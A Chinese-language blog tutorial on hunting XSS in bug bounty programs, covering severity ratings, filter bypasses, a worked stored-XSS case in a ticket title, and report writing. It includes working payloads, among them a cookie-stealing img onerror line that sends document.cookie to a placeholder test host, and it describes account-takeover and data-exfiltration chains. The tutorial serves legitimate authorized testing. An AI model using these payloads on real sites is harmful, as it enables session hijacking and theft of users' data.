☰
SRC实战:从低危到高分的XSS挖掘与报告技巧
2026/9/26 7:21:08 网站建设 项目流程

做SRC漏洞挖掘时间长了,你会发现一个奇怪现象:同样是XSS,有人只能报个低危,换几十块积分;有人却能拿到高危甚至严重,直接拉满奖金。这里面的差距,不在运气,而在两件事:一是你能不能把“弹个窗”升级成“能拿账号、能改数据、能批量影响用户”的实际危害;二是你能不能把这种危害清晰、量化地写进报告里。这篇文章不准备讲什么是XSS的基本概念,直接聊我实际挖洞和提交SRC的经验,重点拆解XSS评级逻辑、从低危到高分的利用思路、完整的实操记录,以及提交报告时那些能帮你加分和最终被忽略的细节。

这套方法适合正在做SRC众测的初级/进阶白帽,也适合刚入门漏洞挖掘、想在SRC平台拿到第一个有效漏洞的朋友。我会尽量说人话,把关键“为什么”讲透,避免那种“照着payload抄但不明所以”的状态。

1. 为什么XSS总被低估:先搞清楚漏洞评级逻辑

1.1 SRC平台通用的定级标准

很多新手拿到一个alert(1),兴冲冲就去提交,结果平台要么忽略,要么回一个“低危”。为什么会这样?因为你没有从平台的角度看问题:SRC平台评级的核心是“对业务的实际风险”,不是“有没有弹窗”。不同SRC的规则略有差别,但大致逃不出这个框架:

漏洞等级典型定义XSS常见的对应情况
严重直接控制核心服务器、批量拖取核心数据、直接影响资金存储型XSS打到后台且可进一步RCE(现实里极难,但有人做到过)
高危可直接获取大量用户敏感信息、批量篡改数据、可以接管管理员会话存储型XSS作用于核心业务后台、盲打XSS命中管理员、可读取用户token的XSS
中危有限范围内泄露信息、可对普通用户造成非批量影响存储型XSS作用于普通用户、配合CSRF可修改账号信息
低危影响很小,利用条件苛刻反射型XSS、只影响自身的自XSS、非核心域名的XSS

这张表是简化的,但方向是对的。任何一个XSS,标完等级之后,你第一反应应该是:这个XSS落在表格里的哪一行?如果落在低危,那就要想清楚,怎么把它向右上角推。

1.2 决定XSS分值的四个关键因素

做SRC这几年,我总结出影响XSS分值的因素,优先级从高到低:

第一,资产重要性。同样一个反射型XSS,出现在主站首页和出现在一个无人访问的二级域名活动页,分值可能差两档。核心域名背后的业务量大,一个XSS可能影响几百万用户,平台一定往重了定。所以挖掘时花点时间在资产归属上,别在一个五级域名的小工具页面上纠结。

第二,漏洞类型。反射型默认低危,存储型默认中危起步,DOM型要看能不能打通source到sink的完整链路。这不绝对,但大体如此。为什么存储型天然高?因为受害者不需要点击链接,只要访问了那个页面就会触发,传播性强得多。

第三,触发条件是否苛刻。如果你的payload需要在用户多步操作、高版本Chrome、关闭XSS防护、登录特定账号之后才触发,那平台会认为“可利用性差”,直接降级。反过来,普通用户打开即触发,分值就高。

第四,是否构成可利用链。如果XSS只是弹个窗,那确实低危。但如果你能证明它配合CSRF可以改密码、配合接口越权可以读取他人订单、配合postMessage可以窃取localStorage里的token,那性质完全变了。这是“高分XSS”的核心思维:单独看是调味剂,放进利用链就是主菜。

2. 从低危到高分的进阶思路:关键场景与利用手法

2.1 反射型XSS,怎么把它“往上抬”

反射型XSS最常见的低危原因是“受害人得点链接”。但这不代表没救。我常用的三条路:

第一种,找登录前/核心动作前的位置。比如登录接口的错误提示、找回密码页的邮件地址回显。如果payload在登录页执行,攻击者可以结合钓鱼页面诱导用户输入账号密码,同时XSS把表单内容实时发出去。这种场景下,alert(1)也会被高看,因为风险直接从“页面弹窗”变成了“账号密码窃取”。

第二种,尝试把反射点变成“准存储”。很多平台会把用户触发过的搜索词记录到后台报表、运营日志、排行榜页面,如果后端在拼接时没有转义,你提交的payload会被“存储”到另一个页面。一旦有人打开运营后台看到那个报表,payload直接触发,反射型就变相升级成了存储型。这个思路特别好用,但前提是先摸清目标有没有这类数据沉淀功能。

第三种,配合“点击劫持”或者“即时通讯分享链接”。某些IM或者浏览器内置的页面预览会抓取URL参数,当你的payload被拼到预览标题或描述里,目标在聊天软件里打开预览就被触发,这种“非传统浏览器页面”的传播场景会让平台重新评估风险。不过,要谨慎,因为很多SRC不把这类视为漏洞,提交前最好先看一眼规则。

2.2 存储型XSS的加分逻辑:目标管理员与批量影响

存储型XSS本身不低,但如果你的存储点是在普通用户个人主页,且只有信息发布者自己看到,那它其实和自XSS差不多,平台可能不收。要想提到高危,关键就一句话:让它打到管理员,或者让它能批量影响其他用户。

先说打管理员。我最喜欢的场景是“意见反馈”、“工单系统”、“客服会话记录”。这里用户提交的内容会被后台的管理员阅读,如果后台读取时存在XSS,就形成了盲打。盲打XSS的payload不能只弹窗,要写成一个能向后端管理页面发送AJAX请求的完整脚本,比如读取后台页面的标题、DOM内容、甚至请求一些内部接口。不过要非常注意:盲打可能会真的拿到管理员cookie,带出去的数据涉及敏感信息,在SRC过程中一定要严格控制,只做验证,不要尝试登录后台或扩大控制。我把这类测试严谨限制在本地写的“验证脚本”,只返回一串随机token证明触发,而不是真正窃取数据。

再说批量影响。典型例子:一个用户修改昵称后,所有访问他主页的用户都会触发XSS;或者评论区的payload,其他用户一打开该页面就被执行。这种“一个触发点、所有访客中招”的情况,在评级时很容易达到高危。如果再进一步,payload中写一个自动发评论的逻辑,触发者会继续向其他人的会话发消息,形成蠕虫效应,那严重等级跑不掉。但这里必须强调:蠕虫payload在真实平台上绝对不要实际运行,提交报告时描述逻辑即可,真正的验证放在自己搭的靶场里做。

2.3 DOM XSS:别忽略现代前端的主战场

现在很多业务是前后端分离,传统的服务端输出型XSS少了,DOM型却大量出现。不少人挖DOM型XSS喜欢死盯location.hash,其实真正的突破口往往在document.referrer、window.name、postMessage、window.open的URL参数、localStorage读出的值再进sink。

我习惯的做法是:打开目标的前端资源,在Source面板里搜索这些关键字sink:innerHTML、document.write、eval、Function、setTimeout、setInterval、insertAdjacentHTML。找到之后,再往上回溯它的source在哪。比如一个使用Vue/React的站,可能在某个组件里写了v-html,而内容来自路由参数。这种链路如果通,就是非常干净的DOM XSS。

举个例子:之前某个站点有个“分享给朋友”功能,window.open('/share?url=' + url, '_blank'),新页面里直接从window.location取url参数,然后塞到document.getElementById('preview').innerHTML里。我试着传了一个<img src=x onerror=document.location='//测试域名/'+document.cookie>,结果Chrome下虽然url参数有编码,但后端没有校验,前端又直接解码显示了。这类问题的隐蔽性在于,浏览器地址栏长得乱七八糟,很多扫描器扫不到,但人肉一看一个准。

2.4 XSS + CSRF/越权的组合拳

我在提交XSS时有个习惯:每次发现XSS,立刻问自己三个问题:“这个页面上有没有当前用户的token?”“有没有能修改账号信息的接口(改邮箱、改手机、改密码)?”“有没有可以读取列表/详情的API(订单、消息、个人资料)?”三个问题里有两个是肯定的,那这个XSS就能打出高价值利用链。

最经典的组合是:XSS + CSRF。比如用户信息页有一个“绑定邮箱”的功能,绑定时没有校验当前密码,只依赖Referer或一个固定token。XSS触发后,自动带着用户的身份向绑定接口发起请求,把邮箱改成攻击者的地址。这之后通过“忘记密码”功能就能接管账号。整个链路里,XSS的作用是“绕过浏览器同源策略”,把攻击者的意图变成受害者的操作。这种利用链报告写出来,平台不可能给你低危。

另一个常见的组合是:XSS + 越权读取。有些前后端分离的站点,接口授权完全依赖登录后的token或cookie,前端会调用一个/api/user/order/list加载订单。XSS触发后,直接用fetch请求这些API,把返回的JSON发到测试服务器。如果接口本身没有做额外的CSRF防护,这个XSS就成了一个“数据读取器”,单次触发就能拖走用户当前页面的所有敏感信息。

2.5 绕过常见的过滤器:几种有效但克制的思路

国内很多业务喜欢用黑名单过滤。常见的是过滤尖括号、过滤on事件、过滤javascript:、过滤alert等关键词。在这个环境下,构造绕过payload是基本功,但记住:绕过是在SRC授权范围内的目标上做测试,不是在公网未知站点上搞破坏。测试时要控制并发和频率,尊重目标服务的稳定性。

我常用的几类绕过:

  • 标签被过滤:如果<script>被滤,转用<svg/onload>、<img src=x onerror>,再不行用<details open ontoggle>、<video><source onerror>。
  • alert被过滤:用confirm(1)、prompt(1)、top['al' + 'ert'],或者(alert)(1),甚至用[].constructor.constructor这种间接方式。
  • 属性被过滤或转义:如果双引号被过滤,尝试把payload放在单引号环境;如果尖括号被编码成&lt;,先看看有没有二次解码的场景,比如URL编码加HTML实体双重编码。
  • 关键字正则匹配:有时过滤是简单的正则,比如(?i)on\w+,可以用oN大小写混写,或者在事件和等号之间插注释符、换行符、制表符。

经验说:与其记一堆payload库,不如理解浏览器解析顺序。HTML解析器先解码实体,再解析标签属性;JS解析器识别注释和字符串;当过滤器和解析器对同一段输入理解不同时,就有了绕过空间。这块建议去靶场(DVWA、PortSwigger、CTFHub)里反复练,练的不是“背payload”,而是“看上下文说话”。

3. 实操过程:一次典型XSS挖掘与提报的完整记录

3.1 目标信息收集与注入点发现

拿我有次在一个授权SRC项目里的完整过程举例。目标是一个小企业SaaS系统,攻击面包括用户前台、管理后台、支付、消息、反馈。我用的是最笨也最有效的方式:以“用户身份”把所有写入点都过一遍,记录每个写入点的回显位置。

重点测试的写入点列表:

  • 用户昵称、头像、个人签名
  • 工单标题、工单内容、工单回复
  • 评论与留言板
  • 搜索框(看是否回显到搜索页或结果页)
  • 地址簿:收货人姓名、详细地址、邮编
  • 发票信息:发票抬头、税号

这次突破口在“工单回复”。用户提交工单时,系统会把问题标题和第一次描述生成一个回显在“我的工单详情页”,而客服回复之后,用户能看到“客服XX给您回复了:内容”。我在工单标题里输入了:

'"><svg/onload=alert(document.domain)>

第一轮测试没反应,页面正常显示了这段字,说明做了实体编码。但我注意到回显位置在一个奇怪的属性里:页面源码里有一行

<input type="hidden" id="ticket_title" value="'"><svg/onload=alert(document.domain)>">

尖括号被转义成了&lt;和&gt;,但单引号和双引号是正常的。这就意味着,如果我能绕过后端的标签过滤,或许能在属性上下文里做文章。

3.2 构造POC的过程

接下来是正常流程。既然value属性外层是双引号,那我优先考虑闭合双引号以后再注入新属性。因为尖括号被转义了,没法引入新的HTML标签,所以我转向两个方向:

  • 如果后端允许双引号直接出现在值里,尝试闭合属性后增加事件,比如" autofocus onfocus=alert(1) x="。但这里外层input的value属性后面还有">,如果属性值能正常闭合,就能注入autofocus onfocus=...。
  • 如果后端过滤了on开头的事件,就看看有没有其他属性能够被利用。

我接着输入:

" autofocus onfocus=alert(document.domain) x="

结果提交后,页面源码变成了:

<input type="hidden" id="ticket_title" value="" autofocus onfocus=alert(document.domain) x="">

虽然<svg>标签被实体编码了,但我在属性上下文里直接注入了一个新事件属性,浏览器渲染时,input一旦获得焦点,就会执行alert(document.domain)。而因为autofocus的存在,页面一加载,这个input自动获得焦点,事件自动触发。这个POC不需要点击,打开即触发,已经比普通的点击型反射XSS强不少。

不过到这里它只是个“半存储型”:工单标题在用户自己页面触发,属于self-XSS。普通用户看自己的工单,当然是自己的会话。所以我要继续放大:去“客服后台”验证是否触发。因为该工单是提交给客服的,客服在后台处理工单时,标题很可能也会被渲染到某个管理页面。我用两个测试账号,一个提交工单,一个扮演客服,结果打开后台工单列表时,同样的payload在客服的浏览器里弹了域名。到这一步,它已经从自XSS升级成了盲打存储型XSS,影响对象是客服和管理员。

3.3 危害放大:从弹窗到“能拿会话”

我的验证没有停在弹窗。因为目标后台的客服会话很重要,我构造了一个更完整的POC(只在测试账号中短暂使用):触发时向当前页面的接口发起请求,读取当前用户的资料信息,并把这个信息和一段随机token发到我自己搭建的请求接收服务器。这一步是为了证明“XSS能读取并外带数据”。

不过这里有个原则必须讲清楚:外带的数据必须是测试数据,绝不能是真实用户数据。我用的工单标题内容是test-xss-probe-2025,触发后就发一个OK信号过去,以及页面标题/URL。不碰任何cookie和其他接口数据。报告里描述的是“可读取并外带”,而不是真的把数据拿回来,这是合规边界。

实际上,如果该站点的会话cookie没有设置HttpOnly,我还可以通过document.cookie读取会话标识。但我这次遇到的情况是cookie标了HttpOnly,所以在报告中说明了“虽然cookie受HttpOnly保护,但页面中的本地存储token和后续接口返回的用户信息仍可被读取”。这也是一个容易被新手忽略的判断:没有HttpOnly,就直接证明可窃取会话;有HttpOnly,可以去证明能读取其他敏感数据或调用用户身份接口,危害照样在。

3.4 写一份能拿高分的漏洞报告

报告结构我基本固定,也建议你直接用这个模板:

报告项填写要点
漏洞名称存储型XSS - 工单标题在客服后台执行,可读取后台用户会话信息
漏洞等级高危(建议)
漏洞地址提交工单的URL、后台列表页URL(截图里IP/域名打码)
漏洞参数ticket_title
触发流程1. 登录普通账号 2. 创建工单,标题填入payload 3. 客服账号访问工单列表 4. 触发执行
POC展示只放payload源码和弹窗截图,不放真实数据的截图
影响描述攻击者可在客服/管理员访问工单后台时执行任意JS,可能造成后台会话劫持、敏感信息泄露;若结合后台其他接口,可进一步执行操作
修复建议后台所有用户可控字段使用上下文相关编码,禁止在属性中拼接未过滤输入;为管理后台Cookie增加HttpOnly与Secure;启用严格CSP。

写报告时几个细节能明显提升通过率:

  • 不要只写“可弹窗”。一定要写“造成了什么风险”,哪怕只是理论风险。
  • 要写复现条件。比如是否要求登录、哪个浏览器版本、是否需要特定点击动作。
  • 要对敏感信息脱敏。截图里的真实token、手机号、邮箱、域名主体部分都要打码,既合规,也体现职业素养。
  • 修复建议要具体。不要写空话“加强输入过滤”,要写清楚“在HTML、属性、JS、CSS四种上下文中分别做编码”,这样平台审核人员会认为你技术扎实。

4. 常见问题与排查技巧实录

4.1 常见问题速查表

我和不少朋友交流时,汇总过一些典型问题,直接列成速查表:

问题现象可能原因排查方向
本地测试能弹,目标不弹后端做了上下文编码,或存在CSP用浏览器开发者工具看最终渲染后的DOM,确认插入点上下文
payload里alert被拦截过滤了alert关键字换confirm/prompt,或拆分字符串,或直接弹domain
反射点出现了但总是被转义使用了htmlspecialchars尝试属性注入、JS字符串闭合,而不是强行构造新标签
DOM XSS的payload没反应sink函数没有真正执行HTML打开console看有没有报错,确认注入点是否在innerHTML/eval中
提交后被判忽略,平台不认可危害报告只写了弹窗,没有业务影响结合业务,找到“能干嘛”,比如能读接口、能改信息
自己向目标发送大量payload后IP被拦自动化扫描或高频测试触发风控改为手动少量测试,降低频率,用代理池但要注意合规

4.2 独家避坑经验

踩过不少坑之后,我沉淀下来几条特别想分享的。

第一,不要在真实业务页面里放会无限循环或弹窗的payload。我记得有一次测试评论区,放了个alert(1),结果忘了这个评论是公开的,连续弹了好几位同事的浏览器,给企业造成了不必要的麻烦。现在只要是真实环境,我只用无害的外部触发信号,比如加载一个不存在的图片,<img src=https://测试服务器/flag>,然后在接收端看到请求记录就够。对,这就证明了执行,又不会干扰任何人。

第二,不要迷信扫描器。市面上很多XSS扫描器对DOM型基本无效,对需要用户交互的存储型也无能为力。人工看一遍所有用户可控对象的回显位置,比盲扫一百遍都强。尤其是文件名字回显、错误日志、Referer字段、导出报表这几类位置,扫描器一般不会深入。

第三,CSRF token不是万能防线。很多站点的“操作敏感接口”虽然有CSRF token,但token存在前端页面的一个全局变量或localStorage里,XSS一旦执行,直接读取这个token再携带请求,CSRF防护等于没有。所以报告中“可绕过CSRF防护”这个描述,会让平台对XSS的评级直接上调一档。

第四,多浏览器测试。同一个payload在Chrome和Firefox下的解析结果会有差异,有些payload只在Firefox下触发。目标用户群体如果偏C端,Chrome占比高;如果是政企内部系统,老IE或Edge内核也要覆盖。提交时写明在哪个浏览器版本触发,不要笼统写“可触发”。

4.3 提升XSS漏洞发现率的日常习惯

我发现保持手感比临时突击重要得多。平时可以拿开源的靶场做专项训练,比如用DVWA里的XSS模块练DOM型和存储型,用PortSwigger的XSS关卡练各种上下文绕过,用CTFHub的XSS题练真实场景分析。练习的时候给自己定个要求:每个题至少理解两层——为什么能打?为什么这样写就绕过?不要背payload。

每次挖洞前,我会在本地维护一个“上下文测试清单”,大概是这样的顺序:

  1. 纯HTML上下文:直接尝试<script>,<img onerror>。
  2. 标签属性上下文:看能不能闭合引号,注入新属性。
  3. JS字符串上下文:看能不能闭合单引号/双引号,执行alert。
  4. JS模板字符串上下文:看能不能闭合${}。
  5. URL上下文:看能不能注入javascript:伪协议。
  6. CSS上下文:看能不能通过url()或expression()(旧浏览器)。

把这套清单过完,基本能找到绝大多数XSS点。如果你希望快速提交一个有效漏洞,千万别小看XSS,核心域名上的存储型XSS、盲打XSS、和能结合越权的XSS,在SRC平台上的表现都很好。关键在于你有没有那个意识去把它做成完整的故事。

最后再说一个个人体会:真正把XSS做到高分的,往往不是写payload写得最花哨的人,而是能把“这个XSS到底能影响什么”讲清楚的人。我额外习惯是在报告里加一段“攻击场景模拟”,用一段话描述攻击者如何诱导一个正常用户点击链接、触发payload、再到最终账号被锁定的过程。这种叙述比贴三张截图有用得多。下次挖掘时,不妨试试这个思路。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询